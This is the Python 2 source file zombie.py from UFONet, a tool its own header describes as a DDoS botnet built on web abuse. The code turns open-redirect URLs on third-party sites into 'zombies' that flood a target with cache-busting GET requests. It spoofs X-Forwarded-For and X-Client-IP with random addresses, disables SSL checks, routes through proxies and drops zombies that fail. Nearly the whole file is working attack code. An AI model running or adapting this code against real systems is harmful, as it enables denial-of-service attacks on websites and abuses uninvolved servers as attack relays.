zombie.py 10 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - DDoS Botnet via Web Abuse - 2013/2018 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import StringIO, md5, re, sys
  10. import time, threading, random
  11. from randomip import RandomIP
  12. try:
  13. import pycurl
  14. except:
  15. print "\nError importing: pycurl lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python-pycurl' or 'pip install pycurl'\n"
  16. sys.exit(2)
  17. class Zombie: # class representing a zombie
  18. # constructor: function to construct a zombie
  19. # ufo: UFONet object, some state variables are recovered as well
  20. # zombie: name/url of zombie
  21. def __init__(self, ufo, zombie):
  22. self.ufo = ufo
  23. self.payload=ufo.payload
  24. self.attack_mode=ufo.attack_mode
  25. self.zombie = zombie
  26. self.connection_failed=True
  27. # wait for semaphore to be ready, add to herd, connect & suicide
  28. def connect(self):
  29. reply=None
  30. with self.ufo.sem:
  31. self.ufo.herd.new_zombie(self.zombie)
  32. reply=self.do_connect()
  33. self.ufo.herd.kill_zombie(self.zombie, reply, self.connection_failed)
  34. return reply
  35. # handles zombie connection
  36. def do_connect(self):
  37. # connect zombies and manage different options: HEAD, GET, POST,
  38. # user-Agent, referer, timeout, retries, threads, delay..
  39. options = self.ufo.options
  40. c = pycurl.Curl()
  41. if self.ufo.head == True:
  42. c.setopt(pycurl.URL, self.zombie) # set 'self.zombie' target
  43. c.setopt(pycurl.NOBODY, 1) # use HEAD
  44. if self.payload == True:
  45. payload = self.zombie + "https://www.whitehouse.gov" #Open Redirect payload [requested by all UFONet motherships ;-)]
  46. c.setopt(pycurl.URL, payload) # set 'self.zombie' payload
  47. c.setopt(pycurl.NOBODY, 0) # use GET
  48. if self.ufo.external == True:
  49. external_service = "https://downforeveryoneorjustme.com/" # external check
  50. if options.target.startswith('https://'): # fixing url prefix
  51. options.target = options.target.replace('https://','')
  52. if options.target.startswith('http://'): # fixing url prefix
  53. options.target = options.target.replace('http://','')
  54. external = external_service + options.target
  55. c.setopt(pycurl.URL, external) # external HEAD check before to attack
  56. c.setopt(pycurl.NOBODY, 0) # use GET
  57. if self.attack_mode == True:
  58. if options.place: # use self.zombie's vector to connect to a target's place and add a random query to evade cache
  59. random_name_hash = random.randint(1, 100000000)
  60. random_hash = random.randint(1, 100000000)
  61. if options.place.endswith("/"):
  62. options.place = re.sub('/$', '', options.place)
  63. if options.place.startswith("/"):
  64. if "?" in options.place:
  65. url_attack = self.zombie + options.target + options.place + "&" + str(random_name_hash) + "=" + str(random_hash)
  66. else:
  67. url_attack = self.zombie + options.target + options.place + "?" + str(random_name_hash) + "=" + str(random_hash)
  68. else:
  69. if "?" in options.place:
  70. url_attack = self.zombie + options.target + "/" + options.place + "&" + str(random_name_hash) + "=" + str(random_hash)
  71. else:
  72. url_attack = self.zombie + options.target + "/" + options.place + "?" + str(random_name_hash) + "=" + str(random_hash)
  73. else:
  74. url_attack = self.zombie + options.target # Use self.zombie vector to connect to original target url
  75. if self.ufo.options.verbose:
  76. print "[Info] [Zombies] Payload:", url_attack
  77. c.setopt(pycurl.URL, url_attack) # GET connection on target site
  78. c.setopt(pycurl.NOBODY, 0) # use GET
  79. # set fake headers (important: no-cache)
  80. fakeheaders = ['Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg',
  81. 'Connection: Keep-Alive',
  82. 'Content-type: application/x-www-form-urlencoded; charset=UTF-8',
  83. 'Cache-control: no-cache',
  84. 'Pragma: no-cache',
  85. 'Pragma-directive: no-cache',
  86. 'Cache-directive: no-cache',
  87. 'Expires: 0']
  88. c.setopt(pycurl.FOLLOWLOCATION, 1) # set follow redirects
  89. c.setopt(pycurl.MAXREDIRS, 10) # set max redirects
  90. c.setopt(pycurl.SSL_VERIFYHOST, 0) # don't verify host
  91. c.setopt(pycurl.SSL_VERIFYPEER, 0) # don't verify peer
  92. # c.setopt(pycurl.SSLVERSION, pycurl.SSLVERSION_SSLv3) # sslv3
  93. c.setopt(pycurl.COOKIEFILE, '/dev/null') # black magic
  94. c.setopt(pycurl.COOKIEJAR, '/dev/null') # black magic
  95. c.setopt(pycurl.FRESH_CONNECT, 1) # important: no cache!
  96. c.setopt(pycurl.NOSIGNAL, 1) # pass 'long' to stack to fix libcurl bug
  97. c.setopt(pycurl.ENCODING, "") # use all available encodings (black magic)
  98. if options.xforw: # set x-forwarded-for
  99. generate_random_xforw = RandomIP()
  100. xforwip = generate_random_xforw._generateip('')
  101. xforwfakevalue = ['X-Forwarded-For: ' + str(xforwip)]
  102. fakeheaders = fakeheaders + xforwfakevalue
  103. if options.xclient: # set x-client-ip
  104. generate_random_xclient = RandomIP()
  105. xclientip = generate_random_xclient._generateip('')
  106. xclientfakevalue = ['X-Client-IP: ' + str(xclientip)]
  107. fakeheaders = fakeheaders + xclientfakevalue
  108. if options.host: # set http host header
  109. host_fakevalue = ['Host: ' + str(options.host)]
  110. fakeheaders = fakeheaders + host_fakevalue
  111. c.setopt(pycurl.HTTPHEADER, fakeheaders) # set fake headers
  112. b = StringIO.StringIO()
  113. c.setopt(pycurl.HEADERFUNCTION, b.write)
  114. h = StringIO.StringIO()
  115. c.setopt(pycurl.WRITEFUNCTION, h.write)
  116. if options.agent: # set user-agent
  117. c.setopt(pycurl.USERAGENT, options.agent)
  118. else:
  119. c.setopt(pycurl.USERAGENT, self.ufo.user_agent)
  120. if options.referer: # set referer
  121. c.setopt(pycurl.REFERER, options.referer)
  122. else:
  123. c.setopt(pycurl.REFERER, self.ufo.referer)
  124. if options.proxy: # set proxy
  125. proxy = options.proxy
  126. sep = ":"
  127. proxy_ip = proxy.rsplit(sep, 1)[0]
  128. if proxy_ip.startswith('http://'):
  129. proxy_ip = proxy_ip.replace('http://', '')
  130. elif proxy_ip.startswith('https://'):
  131. proxy_ip = proxy_ip.replace('https://', '')
  132. proxy_port = proxy.rsplit(sep, 1)[1]
  133. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (ex: privoxy)
  134. proxy_ip = 'localhost'
  135. c.setopt(pycurl.PROXY, proxy_ip)
  136. c.setopt(pycurl.PROXYPORT, int(proxy_port))
  137. else:
  138. c.setopt(pycurl.PROXY, '')
  139. c.setopt(pycurl.PROXYPORT, pycurl.PROXYPORT)
  140. if options.timeout: # set timeout
  141. c.setopt(pycurl.TIMEOUT, options.timeout)
  142. c.setopt(pycurl.CONNECTTIMEOUT, options.timeout)
  143. else:
  144. c.setopt(pycurl.TIMEOUT, 1) # low value trying to control OS/python overflow when too many threads are open
  145. c.setopt(pycurl.CONNECTTIMEOUT, 1)
  146. if options.delay: # set delay
  147. self.ufo.delay = options.delay
  148. else:
  149. self.ufo.delay = 0 # default delay
  150. if options.retries: # set retries
  151. self.ufo.retries = options.retries
  152. else:
  153. self.ufo.retries = 0 # default retries
  154. try: # try to connect
  155. c.perform()
  156. time.sleep(self.ufo.delay)
  157. self.connection_failed = False
  158. except Exception, e: # try retries
  159. for count in range(0, self.ufo.retries):
  160. time.sleep(self.ufo.delay)
  161. try:
  162. c.perform()
  163. self.connection_failed = False
  164. except:
  165. self.connection_failed = True
  166. if self.ufo.head == True: # HEAD reply
  167. code_reply = c.getinfo(pycurl.HTTP_CODE)
  168. reply = b.getvalue()
  169. if options.verbose:
  170. print "[Info] [AI] HEAD Reply:"
  171. print "\n", reply
  172. if self.ufo.options.testrpc:
  173. return reply
  174. else:
  175. return code_reply
  176. if self.ufo.external == True: # External reply
  177. external_reply = h.getvalue()
  178. if options.verbose:
  179. print "[Info] [AI] EXTERNAL Reply:"
  180. print "\n", external_reply
  181. return external_reply
  182. if self.payload == True: # Payloads reply
  183. payload_reply = h.getvalue()
  184. if options.verbose:
  185. print "[Info] [AI] PAYLOAD Reply:"
  186. print "\n", payload_reply
  187. return payload_reply
  188. if self.attack_mode == True: # Attack mode reply
  189. attack_reply = h.getvalue()
  190. reply_code = c.getinfo(c.RESPONSE_CODE)
  191. if options.verbose:
  192. print "[Info] [AI] [Zombies] "+self.zombie+" -> REPLY (HTTP Code: "+ str(reply_code)+" | Time: "+str(c.getinfo(c.TOTAL_TIME))+" | Size: " + str(len(attack_reply))+")"
  193. time.sleep(5) # managing screen (multi-threading flow time compensation)
  194. if len(attack_reply) == 0:
  195. print "[Info] [Zombies] " + self.zombie + " -> FAILED (cannot connect!)"
  196. if not self.ufo.options.disablepurge: # when purge mode discard failed zombie
  197. self.ufo.discardzombies.append(self.zombie)
  198. self.ufo.num_discard_zombies = self.ufo.num_discard_zombies + 1
  199. return [c.getinfo(c.RESPONSE_CODE),
  200. c.getinfo(c.TOTAL_TIME),
  201. len(attack_reply)]